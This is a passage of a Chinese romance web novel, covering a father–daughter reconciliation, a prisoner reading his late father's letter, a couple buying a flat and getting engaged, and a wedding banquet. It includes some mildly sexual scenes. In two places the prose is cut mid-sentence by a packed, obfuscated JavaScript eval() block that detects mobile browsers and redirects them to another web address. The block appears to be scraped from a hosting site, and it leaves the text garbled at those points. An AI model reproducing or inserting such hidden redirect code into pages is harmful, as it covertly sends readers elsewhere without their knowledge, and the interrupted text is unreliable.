“我?”高城自嘲地笑笑,“就等着在单位老死了。” “阿幸现在在南城开了家舞室。”温让替她说道,“生意很好,这样发展下去,明年就能开分店了。” “不错,高幸从小练舞,现在也是圆了小时候的梦了。”高城说道,“你们都在南城,搭个伴儿也挺好的。” “要买房子的话,我这边……”高城掏出手机。 “爸,不用。”高幸一看他这动作,就知道他想做什么,“我们不缺钱。” “是的高叔叔,钱这方面您完全不用担心。” “挺好,挺好。” “爸,我很少回家,您……照顾好自己。”高幸终于还是说了出来。 “嗐,我现在也在慢慢戒烟酒了,上年纪了,身体确实经不起折腾,你也放心,时候到了,我可以自己去养老院的。” “你跟妈妈把我养大,我也会养你们,进养老院这种话以后不要再说了。” “好,好……那这些年,你还保持着读书和旅行的习惯吗?” “当然。”高幸瞬间来了劲,想是回到了七年前的那顿从天亮聊到天黑的晚餐,“这些年看了些哲学和心理学的书,去了中国不少城市,还去了国外。” “是吗?我这辈子还没出过国呢。”高城不自然地笑笑。 于是高幸顺着他的话,把自己多年来积压在心里的,想要跟他诉说的都说了出来。 不同的是,她没再得到“成熟”的评价,因为她已经到了一个“成熟”是本分,不再是夸奖的年纪。 …… 走出饭馆,高城阻止他们送自己的步伐,“你们回去吧,我去河边走一圈,运动运动。” 高幸目睹着他转过身,肩背微微内缩着,背过双手,低着脑袋,慢慢往前走。 “阿幸,珍惜每一次见面。”温让轻轻推了她一把。 却是高城先停住脚步。 他没有回头,似乎要保留自己作为长辈的最后一份体面。 “果果,是我没有保护好你。”高城背在身后的手缓缓垂到身侧,缩成拳头,“是我没有尽到做父亲的责任,对不起……” 伴随着这声沉重的道歉落下的是高幸的泪。 滚烫一滴。 高城加快了步伐,几乎是以逃窜的速度消失在了高幸的视野中。 她应该说些什么,比如没关系,比如她早就不在乎了,但泪水代替她作答,言语功能暂时失灵。 高幸曾经恨过高城,恨他每次跟何柔吵完架就离家出走,何柔的气全撒在高幸身上,恨他不作为,恨他太懦弱,恨他没有一点作为丈夫、父亲的担当。 可她也爱他,爱他会记住自己每个小小的心愿,爱他总是无条件答应自己的请求,爱他曾经也像普通父亲一样宠溺她,也爱他不肯让自己女儿吃苦的那份心意。 于是爱恨相抵,今生的血缘关系也将这样平静地维持下去。 等高幸的哭声渐渐止住,低头擦泪的时候,她看见了温让摊开的掌心,那里盛满了她的泪水。 男人轻轻拥她入怀。 “以后,你的泪水不要流在洗手间了。” 她好像看到一双温暖的手穿透厚重的时空之墙,抚上了小女孩泪水模糊的脸庞。 他接住了她的泪。 接住了她的脆弱。 “果果别怕,天已经亮了。” 55. 春天到来之前 「春天到来之前」 温霖一审被判有期徒刑六年,这还是在秦律极力争取情况下的判决。如果李家提起新的诉讼,他的刑期远远不止六年。 他当场提起了上诉,原告一家人这次也不再退缩,扬言要奉陪到底。 判决未生效期间,亲属无法探视,华悦也只能通过律师跟温霖传递消息。 隔着一堵玻璃墙,秦律看见温霖糟糕的脸色,不出他所料,下一秒,温霖装也不装了,先前对秦律的诸多信任都被判决打得烟消云散,没等秦律说完自己的打算,他就摆摆手,不耐烦地吐出俩字,“换人。” 秦律这人向来爱权衡利弊,要不是华悦开的价格高,他也不想趟这浑水,事已至此,他也仁至义尽。 “温总,您儿子让我带句话。” “儿子?”温霖冷哼一声,“我哪儿还有儿子?那不都是两个畜生吗?” “温让说,他已经向这边寄了一封信,信不长,希望您能好好读一下。” 温霖轻蔑扫他一眼,“信?他写的?” “不。”秦律说,“是您的父亲,温善写的。” 三天后,温霖果然收到了看守所派送的信件,信封泛黄,起了一些油沁的斑点,像是已经放了很多年,上面潦草地写了一串他的家庭住址,以及四个字:温善亲笔。 温霖认出来,的确是他过世父亲的字迹。 他将信将疑地拆开信件,普普通通一张横纹信笺,不过寥寥三行字。 阿霖,那个人出狱了,你万事小心些。 你做错了事,总是要赎罪的,我替你赎也行。 算父亲求你,以后都别做坏事了,好吗? ——温善 落款的时间,是十五年前。 温霖的双瞳几乎和手指同时颤抖起来。 替他赎?什么意思? 信笺背面似乎还有笔迹,他猛地翻过去,那几行小字和温善一样苍劲,只是笔锋收敛了许多。 「或许你忘了,也或许你根本没在意过,杀害爷爷的凶手自述过一件事,他当初找到爷爷,其实是要问你的住址,爷爷不肯说,对方才痛下杀手。爷爷常说小时候对你太严格,导致你性格乖戾,不服管教,一股子叛逆劲,他总觉得自己没教好你,所以对自己很失望,但无论你是好人还是坏人,你从来都是他唯一的儿子。」 时间是不是有点太快了?温霖望着手中的信纸,眼神却慢慢涣散,他在脑海中细数这50来个年头。如果温善还在世,现在也是八十岁的老头子了吧,跟王嫣一样,路都不一定走得稳。 哦不对,王嫣那是装的。 他总是被母亲骗,小时候如此,长大了还是如此。 “阿霖,生病了要吃药的,快把这药喝了,一点都不苦,是薄荷味的,你不是最喜欢吃薄荷糖吗?” 捏着鼻子闷下一大碗中药,温霖边哭边跳脚,“你又骗我,明明这么苦!!!” 王嫣笑呵呵地塞给他一把薄荷糖,端着空碗去厨房了。 “老王,你又骗阿霖呢,等他长大了,你看你这把戏还能不能骗得过他。” 温霖忽然笑了,他觉得荒唐,半辈子都过去了,他居然还在回忆童年那屈指可数的幸福。 温善是刑警,一年到头见面的时长加起来不超过一个星期,好不容易见他一面,还总是被数落,这儿也没做好,那儿也没做好。 哪怕温霖永远考第一,永远都是家长老师口中的好学生,温善还是觉得他不够优秀。 “你性子太偏激,遇到事情容易走极端,多练练毛笔字,修修心。” 温善每次都这样说。 但他什么都能做好,就是练不好字,十分钟都坐不住,比起一个人关起门来看书练字,他更想去跟不同的人交流,让每个人都能喜欢他。 温善习惯了棍棒教育,大概他也是这样长大的。每当温霖不服管教,鸡毛掸子就落在了他的脊背上。 可温霖的骨头跟他的性子一样硬,怎么打也打不软。 这样想来,温让还是像他的。 “我一定会好好教育小让,不会让他成为你这样的人。” 那是温善带着温让搬离温家时,对他说的最后一句话。 他这样的人怎么了呢?都说他是靠着温家的家产才走到今天的,如果他真的毫无能力,祖辈基业能维持几十年? 温善从来都看不起他,连带着自己的大儿子也看不起自己。 他是商人,这个世界上有几个清清白白的商人?谁手头上没有间接着沾几条命?善良这玩意儿根本就不可能在商人身上存活。 凭什么既要他成为人上人,还要他善良? 温霖的手指捏皱了信笺边缘。 我替你赎罪。 唯一的儿子。 死无全尸。 十五年前那一场场重复的噩梦似乎又在脑海放映。 “温……善……” 几乎是咬牙切齿地挤出这多年未叫的名字。 “谁他吗想让你给我赎罪。” 沉默数秒后,空气中突然爆发出一声怒喝。 “你死就死了!!!凭什么还要折磨我!!!” 刚迈出看守所大门的秦律深深回头,目光有一闪而过的哀戚, “我他吗没输!我没输!!!” “温善你记住,我没输……” 你死了都得承认。 我永远都是你,最优秀的儿子。 男人被警察制住,脱了力地往地上倒去。信纸飘落在地上,他想够,却怎么也够不到。 就像八岁那年除夕,他看着温善因为一场突如其来的案件,放下碗筷,毅然决然地离开年夜饭的饭桌,拎上制服就往门口跑去。 “爸爸——” “阿霖新年快乐,爸爸明年一定陪你。” 温善跑得太快了,温霖伸出手,够不着他的背影。 可是您去年也是这么说的。 他满脸失落地垂下手臂。 家门没有关紧,直到一阵狂风刮过,重重一声,关上了他的心门。 两日后,温霖放弃上诉,服从判决。 · “爷爷那封信,为什么会在温霖的书房里找到?”高幸把脏衣篓里两人换下的衣服塞进洗衣机里。 温让从阳台收下干透的被套,抖了抖,抱在怀里,“他收到信,但是没有拆开。” “怪不得……如果他当年拆开了,会不会,有一些愧疚?” “当年他正处于人生巅峰,怎么可能有心思愧疚,他这样骄傲的人,只有跌到谷底,才会真的开始反思。” “温让,你闻到糊味没有?”高幸使劲嗅了嗅。 温让连忙小跑到厨房,“没有啊,汤煲得好好的。” “这味道……好像是从……”高幸顺着味道找过去。 温让无奈一笑,“估计又是隔壁那哥们儿。” 他们公寓最近搬进来一个刚毕业的男大学生,从高幸碰见他在楼下超市买调料,现场搜索生抽和老抽有什么区别开始,她就预料到这男生的厨房会经历一番磨练。 于是他搬来不过四天,锅就糊了三次。 再次提醒完隔壁,男生一个劲道歉并向温让讨教了一番烧菜技巧。 回到家后,温让长叹一口气,“看来咱俩搬家得提上日程了,我真害怕他哪天炸厨房。” “我看他冰箱里还有木耳,真不知道会炸成啥样。” 两人对视一眼,同时往沙发上一坐,打开手机询问房产经纪人。 这段时间,他们一有空就会去看房子,连着看了很多小区,都不算特别满意,要么是房子太旧,翻新需要耗费大量的时间,要么就是地方太偏,两人上班都不方便。 中介又给他们推了几套房源,两人的脑袋凑到一块儿,挨着挨着点开查看。 “80平米,有点太小了。”高幸说。 “和我们现在的公寓差不多,不行,至少得要100平的。”温让说。 “这套……二楼,算了。” 温让点点头,“太低了。” 浏览到最后一套。 两人同时眼前一亮,异口同声,“这套不错!” “我去跟他约一下时间。”温让说,“明天我得赶实验,阿幸,你后天空吗?” “空的。” “行。” 他们之前讨论过房子问题,比起别墅、大平层、高端公寓,他们更喜欢周围自然环境好、生活气息浓厚的老城区,因为高幸有生育的计划,虽然计划已经排到了三年后,但为了以后考虑,温让还是决定买学区房。 站在“梦荷院”门口,传到他们耳朵里的是清晨的鸟鸣声,沿着河边晨跑人们的喘气声。 冬天的霜寒气还未过去,小区里外的树木也还秃着,但可以想象入春后,这片区域的绿意会多么盎然。 “温先生,高小姐,你俩算是捡到宝了,这个小区可以说是完美符合你俩的择房标准。”中介吴凯看上去比他俩还兴奋,“这附近有一条河、一个大公园,还有个私宅园林,除此以外,南城大学附中就离这边一公里,最近的小学正是南城最好的梧桐树小学!一个字:绝!” “绝!”从他们身后路过的晨跑大爷中气十足地附和了一声。 “谢大爷捧场啊,大爷最近有没有买房的打算哇,找我!我给您打折!” “好嘞!” 吴凯转回一张灿烂的笑脸,看向温让和高幸,“二位,进去看看吧?” “好。” 梦荷院并不大,总共只有九栋,他们要去看的那套房正好处在中庭,不临街,相当安静。出售房屋的是一对老年夫妻,说是要跟儿女出国,就把国内的房产顺便处理了。 一见面才发现,原来这对夫妻还是南城大学法学院的退休教授,今天只有来了个老爷子,他老伴儿在马尔代夫晒太阳呢。 听说温让也是南城大学的,两人凑在一起聊了许久,房子的问题是半点没提,吴凯在旁边插了半天的话没插进去。 老爷子还掏出一盒珍藏的茶叶要给他们泡来喝。 吴凯趁现在带着温让和高幸参观了一下房屋的构造,房子是三居室,两厅两卫,130平米,因为是十几年前装修的,风格有些老旧,清一色的红木家具。 “你们年轻人如果不喜欢这装修,可以自己重装的。”老爷子说道,“我们房子的基装都很好,不需要再拆墙之类的。” “确实挺不错的。”高幸说道,“而且还有专门的儿童房。” “是呀,这屋子当年还是我守着装修的,费了不少心思,你们就放一万个心。” “那价格这方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323096|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,爷爷您看,还能再少点儿么?”吴凯开始发力了,“他俩也还不到三十岁,工薪阶层的小夫妻……” “既然都是我的晚生,那我就痛快点儿,帮你们省些装修费,便宜五万,如何?” 昨晚跟吴凯打电话,他向高幸保证,尽可能少个三万块,毕竟地段摆在那儿,房东又是老人家,估计不好讲价。 谁知道吴凯的功力还没发挥三成,就价格就直降出他的目标范围。 吴凯生怕他反悔,猛一拍掌,吓得高幸一激灵,“好!爷爷太爽快了!”说完,又看向身旁两人,“你们怎么看?” 温让看向高幸,“阿幸,都听你的。” “哟哟哟。”老爷子揶揄地笑笑,“跟我一样,妻管严。” “您说的是。”温让也跟着他笑。 “买房也图个缘分,我跟温让一眼就看上了这套,既然爷爷也这么爽快,那我们也爽快些,就定这套吧。”高幸说道。 “好!”又是一笔佣金到手,吴凯美滋滋地掏出自己随身携带的合同,“大家都是有缘之人,买房也是一件人生大事,大家坐下来好好看一下合同,避免后续不必要的麻烦。” “好的。”高幸接过合同,跟温让一块儿认真看了起来。 “那就麻烦你了,小吴。”老爷子笑呵呵道,“我这房子刚挂上去没两天呢,这一来就能碰上对合眼缘的,太顺利了。” “是啊,赶紧处理完房子的事,您老就能飞去马尔代夫,跟老伴儿团聚了。” 老爷子说到这儿也来了劲,“诶,我很好奇,你们现在的年轻人度蜜月都去哪儿啊?” “度蜜月?我还没想过。”高幸说。 “您有推荐吗?”温让问道。 “你小子上道,问我算是问对人了,我跟你说,马尔代夫这都不算什么,你要去就得去?%?%&@#” 半个钟头过去了。 吴凯僵硬着一张笑脸,看着茶几上纹丝未动的合同,陷入沉思。 好不容易等老爷子分享完他的旅游经验,眼瞅着要提笔了,吴凯又听见他扯过温让,开始地嘀嘀咕咕,“对了,一定要去体验那个情趣套餐,尤其是@#?%&” 温让红着耳根听完了。 吴凯木着一张脸坐在对面,“二位,我活了二十二年,连女人的手都没摸过,能别说了吗?” 老爷子吓了一大跳,“你才22?我以为32了呢。” “诶小吴,你去哪儿?” “你们看合同吧,我去跳个楼先。” “哦哦好的,你先去吧,我也没多少年了,到时候来陪你。” “?” 闹闹哄哄签完了合同,正好是午饭时间,老爷子要赶去跟他的老友们聚餐,吴凯也要回公司整理合同。 高幸跟温让就在附近找了家门面朴实的家常小炒,饭点到了,里面刚好只剩一桌空位。 店里只有一个系着围裙的服务员阿姨,操着一口带着南城乡音的普通话,在她的推荐下,高幸点了四菜一汤。 许是早饭吃得少,两人都饿了,聊着聊着就把饭菜吃了个精光。 高幸半瘫在椅子上打了个饱嗝。 温让在前台结完账走过来,牵住她伸懒腰的手,“出去逛逛,消消食。” “好哇,但我起不来了。” 温让笑容宠溺,稍稍使劲把陷在座椅中的女子拉起来,“走咯。” 没有导航,不熟悉路线,两人牵着手慢悠悠地散步。 午后的阳光驱散了先前的密云,他们沐浴着冬日暖阳,走过长长的河岸,路过那处静谧的园林,走累了,就坐在公园的长椅上休息,低头是铺着小石块的幽长小径,仰头是蓝天白云,身旁是紧牵着的爱人。 “阿幸。” 高幸靠在温让肩膀上,应道,“怎么啦?” “爷爷奶奶住的地方收拾出来了,奶奶的意思是,留给我们。” “那奶奶呢?” “她要用自己的那笔钱出去环游世界。” “一个人吗?” “温廉和她一块儿。” “也挺好的,奶奶之前不还念叨着亏欠了温廉嘛。” “以后我们也可以找时间回江城的小院住一段时间。” “好哇,要是有小朋友了,寒暑假也可以带小朋友过去住。” “秋千做好了,樱花树也种下了,猫狗领养处的负责人我也联系了。”温让缓缓道来,“现在只需要等待春天。” 高幸微微一愣,她在雷克亚未克说过的话,他都放在了心上,“你是什么时候去做这些事的?” 温让笑而不语。 “怪不得你得赶实验,之前是不是请过假了?” “请一两次,不碍事,进度我都赶上了。” “行,那改天我也回去看看,不能总让你一个人做这些事。” “但是阿幸,在春天到来之前,我想问你一个问题。”温让摩挲着她的手指,精巧的金戒指戴在中指上,彼此的关系早就不言而喻。 但他还是温柔地注视着高幸的双眼,虔诚地询问—— 亲爱的高幸女士,你愿不愿意让我做你的丈夫? · 这是人间千万日子中最普通不过的一天,在天神与公园草木的见证下。 温让向高幸求了婚。 56. 世界没有末日 「世界没有末日」 两个月过去,几场绵绵春雨泡透了南城,街道两旁的枯枝生出嫩绿的新芽,湿润的空气填满了着行人被寒冬刺激的肺。 周末出行的人也多了起来,好不容易抽出时间去踏春的小情侣就这样被堵在了前往临市的高速路上。 温让看着一路飘红的导航,又看了眼前方没有尽头的堵车队伍,果断地拿出一个橘子来剥。 “我来吧。”高幸放下手机。 “和小笛聊完了?” 小笛跟李听墨上个月回了哥哈,但她最近学会了用中文打字,每天都要缠着高幸聊会儿天。 “聊完了,她去睡觉了。” 温让三两下剥好橘子,掰开一瓣递到高幸嘴边,“现在小笛每天大概会占据你两个小时的时间。” 高幸翘着嘴角看他,“这话听着酸溜溜的呢?” “高老板日理万机,自是顾不上我了。”温让故意叹了叹气。 高幸凑过去狠狠亲在他的脸颊,留下沾了橘汁的淡红色唇印,“高老板今晚就好好疼爱你。” “我准备好了。” 两人提前半个月就安排了这周末的行程,还特意定了带无边泳池的“森林式”氧气酒店,结果没想到高速出了严重车祸,去隔壁市的路基本都封了,要么就再等几小时,要么就开到前面一段分岔口回南城。 毫无疑问,他们选择了后者。 天蒙蒙亮出发,回到家已经是傍晚时分。 “好好的一天,居然全堵路上了。”高幸趴在沙发上玩手机,哼哼唧唧,“啥也没做,我怎么这么累。” 温让把行李包提进来,“没事,明天这不还有一天嘛。” 手机屏幕递到他眼前,温然赫然看见她和何婉月的聊天记录。 “这是我本科室友,明天结婚,她上个星期给我发了请帖,咱俩不是商量好这周出去玩吗,我就没有明确答应,想着到时候让其他朋友帮我随一个红包过去。”高幸解释道,“既然我们出行计划泡汤,那明天……” 温让立刻起身,往卧室走去。 “诶?你干嘛去?” “找身妥帖的行头参加你室友的婚礼。” 温让平时穿正装的时候少,衣服多是清爽干净的休闲风,翻遍衣柜,也只找到两套正装,都是他参加学术会议专门定做的,已经很久没穿过了。 他换上西装,在穿衣镜前照了又照,直到高幸进来。 “这身怎么样?” 高幸靠在门框上从头到脚打量着他。 眼前的男人身形挺拔修长,肌肉并不突出,但匀称结实,恰到好处。衬衣领扣到最上面一颗,手指停在西服外套的纽扣上,侧着身子看向高幸,“光看,不说话?” “好看。” 温让歪着头笑,“有点敷衍了。” 高幸背着手慢悠悠地晃到他面前,“那要怎么才不敷衍呢?温博?” 昨天去南大接温让,正好听见有人这么叫他,高幸学完就用。 “论嘴皮子功夫,我自然是不如高老板的。” “是吗?” 高幸拉了拉他的西服,仰头轻轻咬住温让的下唇,像只小猫一样磨蹭着,含糊问道,“这也算嘴皮子功夫吗?” 在她唇瓣离开之际,后脑忽然被牢牢掌住,“要比这个,我应该能赢。” “你——唔。” 后背贴上衣柜,唇舌被撬开,所有的字眼都被更加热烈的、强势的吻吞没。 温让是个好学生,好学不止体现在学业,其他方面的学习能力更是惊人。 高幸被吻得连连后仰,腰间横过一条胳膊,带着她一转,往床的方向退去。拖鞋最先投降,然后是无处安放被捞起的腿。 她不想这么快认输,狠狠推了身上的男人一把,翻身跨过他。 扎好的马尾早就松散,橡筋无助地束住发尾,很快,一根修长的手指解救了它,于是,它顺理成章盘上了男人的手腕,箍住它,缠住它。 喉结被含住那刻,男人的手腕青筋紧绷,黑色皮筋勒出一条红痕。 意识到高幸在用嘴唇解开衬衫纽扣,温让意识里的最后一道防线轰然崩塌,他抬手握住女人的下巴,要她看着他。 “今晚的某人,似乎有些激动过头了。” 他的嗓音太哑,唇是红润的,眼珠氤氲着旖旎夜色。 色令智昏,高幸承认此时被眼前的美色所获,“你这样真好看。” “是么……” 温让稍稍撑起上半身,连带着高幸的身子也被他抬起来。 “那今晚,你可以对我做任何事。”说完,他牵起高幸的手指,放在唇边吻了吻,然后,含住了其中一根。 下一秒,他就眼睁睁看着高幸红透的脸颊上,缓缓地,出现了两道鲜红的—— 鼻血。 · 第二天中午11点,高幸和温让准时出现在了“南香名宴”,据说这家酒店是南城最常办婚礼宴席的酒店,每天都有至少两对新人,特别不吉利的日子除外。 何婉月选择的日子不错,当天有四对新人,门口的宣传照好似一个模板套出来的,都大差不差。高幸他们愣是找了半天,才找到何婉月的婚宴厅。 写完礼金簿,伴郎伴娘在门口迎客,高幸扫了一眼,看见了两个有些发福的熟悉面孔,都是男方那边的。 本科室友现在都天各一方,还有一个定居国外,除了高幸,谁都赶不回来。 “诶,这不是高幸吗?” “好久不见啊。”高幸在脑海里努力搜索眼前这位戴眼镜微胖男子的姓名,试探性问道,“廖宇?” “没错,你还记得我。” 高幸笑笑,“你那会儿跟婉月关系好,我有印象。” “婉月听说你要来,特意给你留了亲友桌,你进去直接走到最前面的区域,找个位置坐下就行。”廖宇把喜糖发到他们手上,“这你家属呢?” “是的,我未婚夫。” “恭喜恭喜,郎才女貌啊。” “谢谢。”温让接过喜糖和另一个伴郎塞过来的烟。 进了大厅,高幸才问道,“这烟怎么处理?” 温让是不抽烟的,只是这种场合不好拒绝。 “我现在的导师是老烟鬼。” “借花献佛了,抽烟啥感觉啊,我有点想试试。” “可以啊。”温让大大方方地递过烟盒,“抽完别流鼻血就是了。” “……” 就因为这事儿,她将一辈子在温让面前抬不起头了。 “好了好了。”趁高幸的腮帮子鼓起来前,温让及时认错,“我以后不笑你了。” “妈呀,温让?!”不远处一声惊呼。 看清楚来人,温让也很惊讶,“杨参?” 高幸记得这个名字,是温让的研究生室友,但他们只同住了一学期,杨深就搬出去和女朋友合住了,所以他们交往并不深。 杨参身旁还跟了个穿着紧身长裙的女人,身材相当曼妙。 温让和他寒暄了一会儿,“这是我未婚妻,高幸。” “我女朋友,黎言茹。” 高幸和黎言茹礼貌地打了招呼。 “去年见你不还是孤家寡人吗?这么快就有未婚妻了?” “大概是缘分到了。” 温让发现他的女朋友和以前长得不一样,似乎换了人,倒也见怪不怪了。南城大学的男博士生本来就挺吃香,温让认识的人中,长相稍微说得过去的都是没有空窗期的,而且找的女朋友都挺优秀。 但以温让对他们的了解,抛开学历这层滤镜不说,他们还真配不上那么优秀的女朋友。 “我总觉得高小姐有些熟悉。”黎言茹摸着下巴想了想,眼里忽然一亮,“你是不是X岛的老板啊?” “是的,黎小姐是?” “我之前来你们那儿试过课,但因为实在没有舞蹈细胞,就没有报课。”黎言茹尴尬地笑笑,“你当时还挺好的,一直在安慰我,也不催我报班,跟其他舞室的老板很不一样,所以我印象还挺深刻的。” “原来是这样,抱歉啊,我都没第一时间认出你。” “正常,我当天是素颜来的,今天打扮了一番。” “高小姐是开舞室的?那肯定跳舞也很棒吧。”杨参的表情有些意味不明,“温让,你小子会挑啊,原来喜欢这款的,怪不得以前老严给你介绍的那些你都瞧不上呢。” 黎言茹一听这话,在背后拍了杨参一把,“你这嘴,会不会说话?” “杨参,你这话有点没逻辑了,我不是喜欢她这一款。”最后一个字音被加重。 “我只是喜欢她这一个人。”说完,温让牵起高幸就走了。 杨参呆呆地看着他俩的背影,“卧槽啊,温让现在这么有脾气了?” “蠢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331433|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货。” “?” “他吗的雇你来撑个场面,你把老娘的脸都丢尽了,滚吧。” “不是,别啊,别啊言茹。”杨参连忙追上黎言茹的步伐,“言茹,咱不分啊,我错了,我改还不行吗?” 黎言茹本来就是带他来应付一下,没想到杨参这么不会说话,现在更是理都不想理。 “言茹,黎总,黎总!” 在角落里看完戏的两人收回脑袋。 “走,吃席了。” “好嘞。” 何婉月的婚礼场子并不华美,以淡雅的蓝白色调为主,这是高幸他俩参加的第一场婚宴,没有参照物,但也看得出来很有诚意,至少宴席味道还不错。 新人过来敬酒的时候,何婉月特意拉着高幸的手多说了会儿话,比如好久没见了,以后都在南城要多联系,比如问她和温让什么时候办婚礼,她的婚礼踩了不少坑,到时候一定会好好指导高幸。 “婚礼可能得等到明年了。”高幸说。 “宴会厅你一定要提前订,南城好点的婚宴厅都很难订的。” “我们会好好商量的。” “反正不懂的就问我。” “好。” “我还得接着敬酒,先不说了,下午记得去茶坊打牌。” “下午……”高幸有些为难。 “婉月,下午我们有其他安排了,不好意思啊。”温让替她回答了。 “行,你俩看着也不像是喜欢打牌的,那就改天再约。” “好的,婉月,新婚快乐,永远幸福。” “你们也是!” 下午他俩的确有一件大事要做。 四个月前,他们在冰岛旅行的时候往国内寄了两张明信片。 漂洋过海历经百来天,总算抵达了目的地。因为当时地址填的南城大学,明信片自然而然就被送到了学校的邮政信箱。 平邮是没有物流信息的,只能靠等。 这些天,温让每天都会去信箱查看,可惜多年未用、积满尘灰的信箱始终是空的。 直到今天,他拜托师弟在路过信箱时帮他看一眼,一个小时前,师弟就发来了消息,说是信箱里有两张明信片,问他要不要帮忙取。 温让说不用,他亲自来取。 下午三点,他们出现在了墨绿色的信箱前。 温让伸手进去,拿出了两张叠在一起的明信片。 明信片表面有些脏脏的,上面盖的雷市的印章已经淡了,字迹却依然清晰。 他把自己的那张递给高幸,双眸含笑地念出了高幸明信片上的字句。 “希望未来,好运降临我和温让,不降临也没关系,我们会过好每一天。” 高幸清了清嗓子,念道—— 如果明天是世界末日,我会吻你,就在此时此刻。 话音刚落,一个缱绻的吻就落在了她的唇边。 “2012年12月21日,传言是世界末日的那天,你在做什么?” “让我想想……那会儿应该是高一?在上课吧,你呢?” “我那天跑来看你了。”高幸说着就笑了起来,“想着世界末日,得见见自己喜欢的人。” “所以你就不小心把MP3掉在我们班门口了?” “你还记得?!” “当然。” 两人漫步在南大的林荫小道上,温让分她一半耳机,打开手机音乐播放器。熟悉的钢琴和弦传到耳朵里,和十几年前一样的旋律。 温让捡起那个让他印象深刻的MP3,播放界面没有暂停,滚动的歌词正好跳到那句“但愿绝望和无奈远走高飞”。 而现在,自2012世界末日已过去恍恍十三载。 太阳照常升起,他们依旧相爱。 听着“世界末日”,温让忽然问道,“阿幸,明年的婚礼,有什么想法吗?” “不太想在这样封闭的空间里。” “户外婚礼?” “也不想要传统的仪式,自由一点比较好。” “旅行结婚,怎么样?” “我觉得不错。” 走出南城大学的大门,歌曲的最后一个音落下,太阳正向西边缓缓行走,两道影子依偎在一起,再也没有分离。 “那么全球巡婚,第一站去哪?” 两人对视一眼,异口同声道—— “哥本哈根!” 57. 李听墨&沈奕岚 「大本钟的钟声」 李听墨的初恋是在高中。 丹麦对高中生恋爱的限制没有国内严格,只要别太过分,不耽误学业的情况下,老师都是睁只眼闭只眼。 他记得是那个叫妮可的华裔女孩先追求的他,十七岁本就是荷尔蒙蠢蠢欲动的年纪,他没道理拒绝一个漂亮阳光的女孩的追求。 他们像所有高中情侣一样,骑着单车一起上下学,穿着深色校服躺在校园的草坪上晒太阳,书本挡住脸,又被妮可拿开,嬉笑着亲吻、打闹。 课余时间,他跟好朋友们组队打篮球比赛,脱掉上衣丢进妮可的怀里,常年坚持运动的少年躯体健壮有力,腹肌八块,露出的内裤边缘是CK的logo,阳光下的汗珠闪闪发光,引来路人注目。 场上唯一一位身材能跟他媲美的是,是对面的得分后卫,一个总是面无表情的丹麦男孩,李听墨不记得他叫什么,只记得那场球赛下来,他被对面的分数压得死死的。 球赛过去不到一个星期,妮可跟他提出分手,转头就跟那位得分后卫在一起了。 少年人洒脱,没什么好纠缠的,分就分了,大不了找个空场子一个人孤独投篮两小时,大不了骑车窜到好友Jakob家门口,把人叫出来淋雨喝酒。 初恋的开始和结束都很痛快。 经验丰富的Jakob长他不过两岁,以一副过来人的口吻搭住他的肩膀,劝他没什么过不去的,爱情和女人也没那么重要,重要的是“enjoyyourlife”。 后来,这句话就成了李听墨的人生信条。 恋爱对他来说向来是好聚好散,合适就在一起,他会尽最大努力对女孩好,记住她们的生日、喜好、脾性,该送的礼物一个都不会少,情绪价值给满,做众人眼中的百分百好男友,不合适就立刻分手,删除联系方式,绝不拖泥带水,也不会吃回头草。 前前后后交往了五任女友,除了妮可外,几乎每一任都不能和他痛快分开,卑微地死缠烂打是常态。 于是Jakob又劝他,别对女人那么好,否则难以脱身。 “那不行。”李听墨晃了晃手指,“恋爱高手不可以让女人伤心。” “得了吧。”Jakob乜他一眼,“你伤的心还不够多吗?上次是luna,这次是nana,下次又是什么na?” “下次是mina。” Mina是Jakob的女友,Jakob踹了李听墨一脚,“滚,你迟早遭报应。” 然后他遇到了新搬来的邻居蕾娜。 继妮可后,李听墨交的女友都没有她的影子,大多数都是既活泼又乖巧的。但蕾娜和妮可很像,她们骨子里都有种隐隐约约的叛逆劲。 这种叛逆劲让李听墨不安,所以在和蕾娜试着接触一段时间后,他拒绝了她的示爱。 那天晚上的蕾娜穿着性感的黑色吊带裙,包裹出前凸后翘的傲人曲线,高跟鞋、大红唇,披散的长卷发,黑鸦片甜腻的香,没有哪个男人受得住这样的诱惑。 生理反应在试图吞噬李听墨仅存的理智,但在蕾娜的胸脯贴上来时,他猛地后撤一步。 “抱歉蕾娜,我想,我们不合适。” 逃亡似的离开充满蕾娜气息的屋子,李听墨靠在墙上喘息了许久,他几乎是惊恐地开始思考刚才面对蕾娜时晃神的那瞬间。 眼前是雪白的呼之欲出的肉/体,莫名其妙闯进他脑海的是那个让他讨厌的女人,沈奕岚。 是的,他一开始的确讨厌沈奕岚。 一个高高在上的,嘴上不饶人的,没有丝毫女性柔软气质的女人。 印象的好转是在得知她帮助了小笛后,但死要面子活受罪的李听墨怎么也拉不下脸来示弱,不知道为什么,他最不想让沈奕岚这样的人看轻。 默恩白崖,听见沈奕岚对小笛的循循善诱,李听墨不得不承认,沈奕岚的确有着不同寻常的个人魅力。 沈奕岚年长他七岁,和温让差不多年纪。 温让对他而言一直是大哥哥一样的角色,所以李听墨理所当然地,把沈奕岚贴上了“大姐姐”的标签。 他应该尊重她。 可是第二天的“睡错床”乌龙事件又把他和沈奕岚的关系推向了危险边缘。 